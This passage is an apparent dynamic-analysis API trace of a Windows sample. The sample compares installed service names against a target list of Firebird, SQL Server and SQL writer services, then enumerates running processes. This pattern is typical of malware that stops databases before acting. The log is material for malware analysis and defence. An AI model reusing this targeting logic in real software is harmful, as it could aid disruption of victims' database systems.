	[0191.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0191.960] lstrlenW (lpString="Audiosrv") returned 8
	[0191.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0191.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0191.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0191.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0191.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0191.960] lstrlenW (lpString="BFE") returned 3
	[0191.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0191.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0191.960] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0191.960] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0191.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0191.960] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0191.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0191.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0191.960] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0191.960] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0191.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0191.960] lstrlenW (lpString="CDPSvc") returned 6
	[0191.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0191.961] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0191.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0191.961] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0191.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0191.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0191.961] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0191.961] lstrlenW (lpString="CryptSvc") returned 8
	[0191.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0191.961] lstrlenW (lpString="DcomLaunch") returned 10
	[0191.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0191.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0191.961] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0191.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0191.961] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0191.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0191.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0191.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0191.962] lstrlenW (lpString="Dhcp") returned 4
	[0191.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0191.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0191.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0191.962] lstrlenW (lpString="Dnscache") returned 8
	[0191.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0191.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0191.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0191.962] lstrlenW (lpString="DPS") returned 3
	[0191.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0191.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0191.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0191.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0191.962] lstrlenW (lpString="DsmSvc") returned 6
	[0191.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0191.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0191.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0191.963] lstrlenW (lpString="DusmSvc") returned 7
	[0191.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0191.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0191.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0191.963] lstrlenW (lpString="EventLog") returned 8
	[0191.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0191.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0191.963] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0191.963] lstrlenW (lpString="EventSystem") returned 11
	[0191.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0191.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0191.963] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0191.963] lstrlenW (lpString="FontCache") returned 9
	[0191.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0191.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0191.963] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0191.963] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0191.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0191.963] lstrlenW (lpString="gpsvc") returned 5
	[0191.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0191.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0191.964] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0191.964] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0191.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0191.964] lstrlenW (lpString="iphlpsvc") returned 8
	[0191.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0191.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0191.964] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0191.964] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0191.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0191.964] lstrlenW (lpString="KeyIso") returned 6
	[0191.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0191.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0191.964] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0191.964] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0191.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0191.964] lstrlenW (lpString="LanmanServer") returned 12
	[0191.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0191.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0191.964] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0191.964] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0191.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0191.964] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0191.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0191.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0191.964] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0191.964] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0191.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0191.965] lstrlenW (lpString="lfsvc") returned 5
	[0191.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0191.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0191.965] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0191.965] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0191.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0191.965] lstrlenW (lpString="lmhosts") returned 7
	[0191.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0191.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0191.965] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0191.965] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0191.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0191.965] lstrlenW (lpString="LSM") returned 3
	[0191.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0191.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0192.307] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0192.307] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0192.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0192.307] lstrlenW (lpString="MpsSvc") returned 6
	[0192.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0192.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0192.307] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0192.307] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0192.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0192.307] lstrlenW (lpString="NcbService") returned 10
	[0192.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0192.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0192.307] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0192.307] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0192.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0192.307] lstrlenW (lpString="netprofm") returned 8
	[0192.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0192.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0192.308] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0192.308] lstrlenW (lpString="NgcSvc") returned 6
	[0192.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0192.308] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0192.308] lstrlenW (lpString="NlaSvc") returned 6
	[0192.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0192.308] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0192.308] lstrlenW (lpString="nsi") returned 3
	[0192.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0192.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0192.308] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0192.308] lstrlenW (lpString="PcaSvc") returned 6
	[0192.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0192.308] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0192.309] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0192.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0192.309] lstrlenW (lpString="PlugPlay") returned 8
	[0192.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0192.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0192.309] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0192.309] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0192.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0192.309] lstrlenW (lpString="Power") returned 5
	[0192.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0192.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0192.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0192.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0192.310] lstrlenW (lpString="ProfSvc") returned 7
	[0192.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0192.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0192.310] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0192.310] lstrlenW (lpString="RpcEptMapper") returned 12
	[0192.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0192.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0192.310] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0192.310] lstrlenW (lpString="RpcSs") returned 5
	[0192.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0192.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0192.310] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0192.310] lstrlenW (lpString="SamSs") returned 5
	[0192.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0192.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0192.310] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0192.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0192.311] lstrlenW (lpString="Schedule") returned 8
	[0192.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0192.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0192.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0192.311] lstrlenW (lpString="SecurityHealthService") returned 21
	[0192.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0192.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0192.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0192.311] lstrlenW (lpString="SENS") returned 4
	[0192.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0192.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0192.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0192.311] lstrlenW (lpString="ShellHWDetection") returned 16
	[0192.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0192.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0192.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0192.311] lstrlenW (lpString="Spooler") returned 7
	[0192.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0192.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0192.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0192.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0192.312] lstrlenW (lpString="StateRepository") returned 15
	[0192.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0192.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0192.312] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0192.312] lstrlenW (lpString="SysMain") returned 7
	[0192.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0192.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0192.312] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0192.312] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0192.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0192.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0192.312] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0192.312] lstrlenW (lpString="Themes") returned 6
	[0192.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0192.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0192.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0192.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0192.313] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5e8
	[0192.320] Process32FirstW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0192.321] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0192.321] lstrlenW (lpString="System") returned 6
	[0192.322] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0192.323] lstrlenW (lpString="smss.exe") returned 8
	[0192.323] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0192.324] lstrlenW (lpString="csrss.exe") returned 9
	[0192.324] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0192.324] lstrlenW (lpString="wininit.exe") returned 11
	[0192.325] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0192.325] lstrlenW (lpString="csrss.exe") returned 9
	[0192.325] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0192.326] lstrlenW (lpString="winlogon.exe") returned 12
	[0192.326] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0192.327] lstrlenW (lpString="services.exe") returned 12
	[0192.327] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0192.328] lstrlenW (lpString="lsass.exe") returned 9
	[0192.328] Process32NextW (in: hSnapshot=0x5e8, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
